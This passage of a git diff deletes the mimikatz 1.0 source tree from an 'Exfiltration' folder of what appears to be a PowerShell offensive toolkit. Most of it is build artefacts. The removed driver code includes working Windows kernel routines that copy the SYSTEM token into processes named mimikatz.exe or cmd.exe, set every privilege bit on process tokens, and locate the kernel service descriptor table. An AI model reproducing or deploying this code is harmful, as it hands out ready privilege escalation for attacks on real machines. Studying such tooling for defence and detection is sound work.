-/* INDEX_2K8 */ {0x00e8, 0x036c, 0x0040},
-/* INDEX_7 */ {0x0188, 0x043c, 0x0040},
-/* INDEX_2K8R2 */ {0x0188, 0x043c, 0x0040},
-/* INDEX_8 */ {0x02e8, 0x02f8, 0x0040}
-#endif
-};
-
-NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
-{
- return listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, ExchangeToken);
-}
-
-NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
-{
- return listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, ListProcesses);
-}
-
-NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
-{
- NTSTATUS status = STATUS_NOT_SUPPORTED;
-
- if(INDEX_OS >= INDEX_VISTA)
- status = listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, FullPrivilegeNT6);
-
- return status;
-}
-
-NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action)
-{
- NTSTATUS status = STATUS_SUCCESS, status2 = STATUS_SUCCESS;
- PEPROCESS monProcess = NULL;
- PCHAR processName = NULL;
- HANDLE processId = NULL;
-
- PACCESS_TOKEN monTokenAcess = NULL;
- PKIWI_NT6_PRIVILEGES mesPrivileges = NULL;
-
- HANDLE sysProcessHandle, sysProcessTokenHandle, newSysTokenHandle, processHandle;
- PROCESS_ACCESS_TOKEN ProcessTokenInformation;
- PULONG pFlags2 = NULL;
-
- *ppszDestEnd = pszDest; *pcbRemaining= cbDest;
-
- for(
- monProcess = PsInitialSystemProcess;
- NT_SUCCESS(status) &&
- (PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]))- EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]) != PsInitialSystemProcess;
- monProcess = (PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]))- EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT])
- )
- {
- processName = PsGetProcessImageFileName(monProcess);
- processId = PsGetProcessId(monProcess);
-
- if(action == ExchangeToken || action == FullPrivilegeNT6)
- {
- if((RtlCompareMemory("mimikatz.exe", processName, 13) == 13) || (RtlCompareMemory("cmd.exe", processName, 7) == 7))
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
- L"processes::ExchangeToken/FullPrivilegeNT6 \'%S' trouv :) - PID %u\n", processName, processId
- );
- if(action == ExchangeToken)
- {
- status2 = ObOpenObjectByPointer(PsInitialSystemProcess, OBJ_KERNEL_HANDLE, NULL, GENERIC_READ, *PsProcessType, KernelMode, &sysProcessHandle);
- if(NT_SUCCESS(status2))
- {
- status2 = ObOpenObjectByPointer(monProcess, OBJ_KERNEL_HANDLE, NULL, GENERIC_WRITE, *PsProcessType, KernelMode, &processHandle);
- if(NT_SUCCESS(status2))
- {
- status2 = ZwOpenProcessTokenEx(sysProcessHandle, TOKEN_DUPLICATE, OBJ_KERNEL_HANDLE, &sysProcessTokenHandle);
- if(NT_SUCCESS(status2))
- {
- status2 = ZwDuplicateToken(sysProcessTokenHandle, TOKEN_ASSIGN_PRIMARY, NULL, FALSE, TokenPrimary, &newSysTokenHandle);
- if(NT_SUCCESS(status2))
- {
- ProcessTokenInformation.Token = newSysTokenHandle;
- ProcessTokenInformation.Thread = 0;
-
- if(INDEX_OS >= INDEX_VISTA)
- {
- pFlags2 = (PULONG) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_FLAGS2]);
- *pFlags2 &= ~TOKEN_FROZEN_MASK;
- }
-
- status2 = ZwSetInformationProcess(processHandle, ProcessAccessToken, &ProcessTokenInformation, sizeof(PROCESS_ACCESS_TOKEN));
- if(NT_SUCCESS(status2))
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\nToken chang :)\n");
- }
-
- if(INDEX_OS >= INDEX_VISTA)
- {
- *pFlags2 |= TOKEN_FROZEN_MASK;
- }
-
- ZwClose(newSysTokenHandle);
- }
- ZwClose(sysProcessTokenHandle);
- }
- ZwClose(processHandle);
- ZwClose(sysProcessHandle);
- }
- }
- }
- else
- {
- if(monTokenAcess = PsReferencePrimaryToken(monProcess))
- {
- mesPrivileges = (PKIWI_NT6_PRIVILEGES) (((ULONG_PTR) monTokenAcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_TOKEN_PRIVS]);
-
- mesPrivileges->Present[0] = mesPrivileges->Enabled[0] /*= mesPrivileges->EnabledByDefault[0]*/ = 0xfc;
- mesPrivileges->Present[1] = mesPrivileges->Enabled[1] /*= mesPrivileges->EnabledByDefault[1]*/ = //...0xff;
- mesPrivileges->Present[2] = mesPrivileges->Enabled[2] /*= mesPrivileges->EnabledByDefault[2]*/ = //...0xff;
- mesPrivileges->Present[3] = mesPrivileges->Enabled[3] /*= mesPrivileges->EnabledByDefault[3]*/ = 0xff;
- mesPrivileges->Present[4] = mesPrivileges->Enabled[4] /*= mesPrivileges->EnabledByDefault[4]*/ = 0x0f;
-
- PsDereferencePrimaryToken(monTokenAcess);
- }
- }
- }
- }
- else
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"%u\t%S\n", processId, processName);
- }
- }
- return status;
-}
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/driver/processes.h b/Exfiltration/mimikatz-1.0/driver/processes.h
deleted file mode 100644
index ae99825..0000000
--- a/Exfiltration/mimikatz-1.0/driver/processes.h
+++ /dev/null
@@ -1,33 +0,0 @@
-#pragma once
-#include
-#include "k_types.h"
-
-#define INDEX_EPROCESS_NEXT 0
-#define INDEX_EPROCESS_FLAGS2 1
-#define INDEX_TOKEN_PRIVS 2
-#define MAX_EPROCESS_LEN 3
-
-#define TOKEN_FROZEN_MASK 0x00008000
-
-typedef struct _KIWI_NT6_PRIVILEGES
-{
- UCHAR Present[8];
- UCHAR Enabled[8];
- UCHAR EnabledByDefault[8];
-} KIWI_NT6_PRIVILEGES, *PKIWI_NT6_PRIVILEGES;
-
-typedef enum _KIWI_EPROCESS_ACTION
-{
- ListProcesses,
- ExchangeToken,
- FullPrivilegeNT6
-} KIWI_EPROCESS_ACTION;
-
-extern char* PsGetProcessImageFileName(PEPROCESS monProcess);
-extern NTSYSAPI NTSTATUS NTAPI ZwSetInformationProcess (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __in_bcount(ProcessInformationLength) PVOID ProcessInformation, __in ULONG ProcessInformationLength);
-
-NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
-NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
-NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
-
-NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action);
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/driver/ssdt.c b/Exfiltration/mimikatz-1.0/driver/ssdt.c
deleted file mode 100644
index 688dfb2..0000000
--- a/Exfiltration/mimikatz-1.0/driver/ssdt.c
+++ /dev/null
@@ -1,83 +0,0 @@
-#include "ssdt.h"
-
-#ifdef _M_X64
-PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable = NULL;
-#endif
-
-NTSTATUS kSSDT(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
-{
- NTSTATUS status;
- USHORT idxFunction;
- ULONG_PTR funcAddr;
-
- #ifdef _M_X64
- status = getKeServiceDescriptorTable();
- if(NT_SUCCESS(status))
- {
- #endif
- *ppszDestEnd = pszDest; *pcbRemaining= cbDest;
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION , L"kSSDT - KeServiceDescriptorTable\t: %p\nkSSDT - KeServiceDescriptorTable.TableSize\t: %u\n", KeServiceDescriptorTable, KeServiceDescriptorTable->TableSize);
- for(idxFunction = 0; (idxFunction < KeServiceDescriptorTable->TableSize) && NT_SUCCESS(status) ; idxFunction++)
- {
- #ifdef _M_IX86
- funcAddr = (ULONG_PTR) KeServiceDescriptorTable->ServiceTable[idxFunction];
- #else
- funcAddr = (ULONG_PTR) KeServiceDescriptorTable->OffsetToService;
- if(INDEX_OS < INDEX_VISTA)
- {
- funcAddr += KeServiceDescriptorTable->OffsetToService[idxFunction] & ~EX_FAST_REF_MASK;
- }
- else
- {
- funcAddr += KeServiceDescriptorTable->OffsetToService[idxFunction] >> 4;
- }
- #endif
-
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%4u]\t: ", idxFunction);
- if(NT_SUCCESS(status))
- {
- status = getModuleFromAddr(funcAddr, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
- if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
- }
- }
- }
- #ifdef _M_X64
- }
- #endif
- return status;
-}
-
-#ifdef _M_X64
-NTSTATUS getKeServiceDescriptorTable()
-{
- NTSTATUS retour = STATUS_NOT_FOUND;
-
- UCHAR PTRN_WALL_Ke[] = {0x00, 0x00, 0x4d, 0x0f, 0x45, 0xd3, 0x42, 0x3b, 0x44, 0x17, 0x10, 0x0f, 0x83};
- LONG OFFS_WNO8_Ke = -19;
- LONG OFFS_WIN8_Ke = -16;
-
- PUCHAR refDebut = NULL, refFin = NULL; LONG offsetTo = 0;
- UNICODE_STRING maRoutine;
- PUCHAR baseSearch = NULL;
-
- if(KeServiceDescriptorTable)
- {
- retour = STATUS_SUCCESS;
- }
- else
- {
- RtlInitUnicodeString(&maRoutine, L"ZwUnloadKey");
- if(baseSearch = (PUCHAR) MmGetSystemRoutineAddress(&maRoutine))
- {
- refDebut= baseSearch - 21*PAGE_SIZE;
- refFin = baseSearch + 16*PAGE_SIZE;
- offsetTo = (INDEX_OS < INDEX_8) ? OFFS_WNO8_Ke : OFFS_WIN8_Ke;
-
- retour = genericPointerSearch((PUCHAR *) &KeServiceDescriptorTable, refDebut, refFin, PTRN_WALL_Ke, sizeof(PTRN_WALL_Ke), offsetTo);
- }
- }
- return retour;
-}
-#endif
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/driver/ssdt.h b/Exfiltration/mimikatz-1.0/driver/ssdt.h
deleted file mode 100644
index 33ab9af..0000000
--- a/Exfiltration/mimikatz-1.0/driver/ssdt.h
+++ /dev/null
@@ -1,13 +0,0 @@
-#pragma once
-#include "k_types.h"
-#include "mod_memory.h"
-#include "modules.h"
-
-NTSTATUS kSSDT(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
-
-#ifdef _M_IX86
- extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
-#else
- PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
- NTSTATUS getKeServiceDescriptorTable();
-#endif
diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog
deleted file mode 100644
index 574462d..0000000
Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog
deleted file mode 100644
index 1393f52..0000000
Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog
deleted file mode 100644
index 05c99d0..0000000
Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.dll.intermediate.manifest
deleted file mode 100644
index ecea6f7..0000000
--- a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.dll.intermediate.manifest
+++ /dev/null
@@ -1,10 +0,0 @@
-
-
-
-
-
-
-
-
-
-
diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate
deleted file mode 100644
index 4d28193..0000000
--- a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate
+++ /dev/null
@@ -1,2 +0,0 @@
-#v4.0:v100
-Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\|
diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res
deleted file mode 100644
index 416efb2..0000000
Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.write.1.tlog
deleted file mode 100644
index 352791c..0000000
--- a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.write.1.tlog
+++ /dev/null
@@ -1,5 +0,0 @@
-^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\kappfree\kappfree.vcxproj
-C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.lib
-C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.lib
-C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.exp
-C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.exp
diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.read.1.tlog
deleted file mode 100644
index 46b134b..0000000
--- a/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.read.1.tlog
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.write.1.tlog
deleted file mode 100644
index 46b134b..0000000
--- a/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.write.1.tlog
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.command.1.tlog
deleted file mode 100644
index cdc5689..0000000
Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.command.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.read.1.tlog
deleted file mode 100644
index b97e650..0000000
Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.read.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog
deleted file mode 100644
index f8b3fd9..0000000
Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog
deleted file mode 100644
index be34103..0000000
Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.read.1.tlog
deleted file mode 100644
index 23f6601..0000000
Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.read.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog
deleted file mode 100644
index 53b60f3..0000000
Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog
deleted file mode 100644
index 92ee084..0000000
Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog
deleted file mode 100644
index 6f2e9b0..0000000
Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.write.1.tlog
deleted file mode 100644
index c18037c..0000000
Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.write.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.c b/Exfiltration/mimikatz-1.0/kappfree/kappfree.c
deleted file mode 100644
index 63130c9..0000000
--- a/Exfiltration/mimikatz-1.0/kappfree/kappfree.c
+++ /dev/null
@@ -1,34 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "kappfree.h"
-
-extern __declspec(dllexport) void __cdecl startW(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow)
-{
- HANDLE monToken, monSuperToken;
- wchar_t * commandLine;
- PROCESS_INFORMATION mesInfosProcess;
- STARTUPINFO mesInfosDemarrer;
-
- if(OpenProcessToken(GetCurrentProcess(), TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY /*| TOKEN_IMPERSONATE*/, &monToken))
- {
- if(CreateRestrictedToken(monToken, SANDBOX_INERT, 0, NULL, 0, NULL, 0, NULL, &monSuperToken))
- {
- RtlZeroMemory(&mesInfosProcess, sizeof(PROCESS_INFORMATION));
- RtlZeroMemory(&mesInfosDemarrer, sizeof(STARTUPINFO));
- mesInfosDemarrer.cb = sizeof(STARTUPINFO);
-
- commandLine = _wcsdup(lpszCmdLine);
- if(CreateProcessAsUser(monSuperToken, NULL, commandLine, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &mesInfosDemarrer, &mesInfosProcess))
- {
- CloseHandle(mesInfosProcess.hThread);
- CloseHandle(mesInfosProcess.hProcess);
- }
- free(commandLine);
- CloseHandle(monSuperToken);
- }
- CloseHandle(monToken);
- }
-}
diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.h b/Exfiltration/mimikatz-1.0/kappfree/kappfree.h
deleted file mode 100644
index 22ffbc2..0000000
--- a/Exfiltration/mimikatz-1.0/kappfree/kappfree.h
+++ /dev/null
@@ -1,9 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#pragma once
-#include
-
-extern __declspec(dllexport) void __cdecl startW(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow);
diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.rc b/Exfiltration/mimikatz-1.0/kappfree/kappfree.rc
deleted file mode 100644
index f08bc56..0000000
Binary files a/Exfiltration/mimikatz-1.0/kappfree/kappfree.rc and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj
deleted file mode 100644
index ef29473..0000000
--- a/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj
+++ /dev/null
@@ -1,119 +0,0 @@
-
-
-
-
- Release
- Win32
-
-
- Release
- x64
-
-
-
- {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}
- Win32Proj
- kappfree
-
-
-
- DynamicLibrary
- false
- true
- Unicode
- Static
-
-
- DynamicLibrary
- false
- true
- Unicode
- Static
-
-
-
-
-
-
-
-
-
-
-
-
- false
- $(SolutionDir)$(Platform)\
- $(Platform)\
-
-
- false
- $(SolutionDir)$(Platform)\
- $(Platform)\
-
-
-
- Level3
-
-
- Full
- true
- true
- WIN32;NDEBUG;_WINDOWS;_USRDLL;KAPPFREE_EXPORTS;%(PreprocessorDefinitions)
- $(SolutionDir)/commun;$(SolutionDir)/modules
- Size
- true
- false
- Fast
- false
- false
- None
-
-
- Windows
- false
- true
- true
- advapi32.lib;%(AdditionalDependencies)
- NoErrorReport
-
-
-
-
- Level3
-
-
- Full
- true
- true
- WIN32;NDEBUG;_WINDOWS;_USRDLL;KAPPFREE_EXPORTS;%(PreprocessorDefinitions)
- $(SolutionDir)/commun;$(SolutionDir)/modules
- Size
- true
- false
- Fast
- false
- false
- None
-
-
- Windows
- false
- true
- true
- advapi32.lib;%(AdditionalDependencies)
- NoErrorReport
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters
deleted file mode 100644
index 987362e..0000000
--- a/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters
+++ /dev/null
@@ -1,12 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.read.1.tlog
deleted file mode 100644
index d6e37a7..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.read.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.write.1.tlog
deleted file mode 100644
index 93f65cf..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.write.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/cl.command.1.tlog
deleted file mode 100644
index bd72d30..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/cl.command.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest
deleted file mode 100644
index ecea6f7..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest
+++ /dev/null
@@ -1,10 +0,0 @@
-
-
-
-
-
-
-
-
-
-
diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate
deleted file mode 100644
index 4d28193..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate
+++ /dev/null
@@ -1,2 +0,0 @@
-#v4.0:v100
-Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\|
diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.res b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.res
deleted file mode 100644
index f3f1c55..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.res and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog
deleted file mode 100644
index 17139b5..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog
+++ /dev/null
@@ -1,5 +0,0 @@
-^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\librairies\kelloworld\kelloworld.vcxproj
-C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.lib
-C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.lib
-C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.exp
-C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.exp
diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog
deleted file mode 100644
index 46b134b..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog
deleted file mode 100644
index 46b134b..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.command.1.tlog
deleted file mode 100644
index 41cc4a2..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.command.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.read.1.tlog
deleted file mode 100644
index da4e714..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.read.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.write.1.tlog
deleted file mode 100644
index 6d0be40..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.write.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.command.1.tlog
deleted file mode 100644
index bbb2100..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.command.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.read.1.tlog
deleted file mode 100644
index b7cc267..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.read.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.write.1.tlog
deleted file mode 100644
index 1ff82f2..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.write.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.command.1.tlog
deleted file mode 100644
index fb31489..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.command.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.read.1.tlog
deleted file mode 100644
index 811b6f9..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.read.1.tlog and /dev/null differ
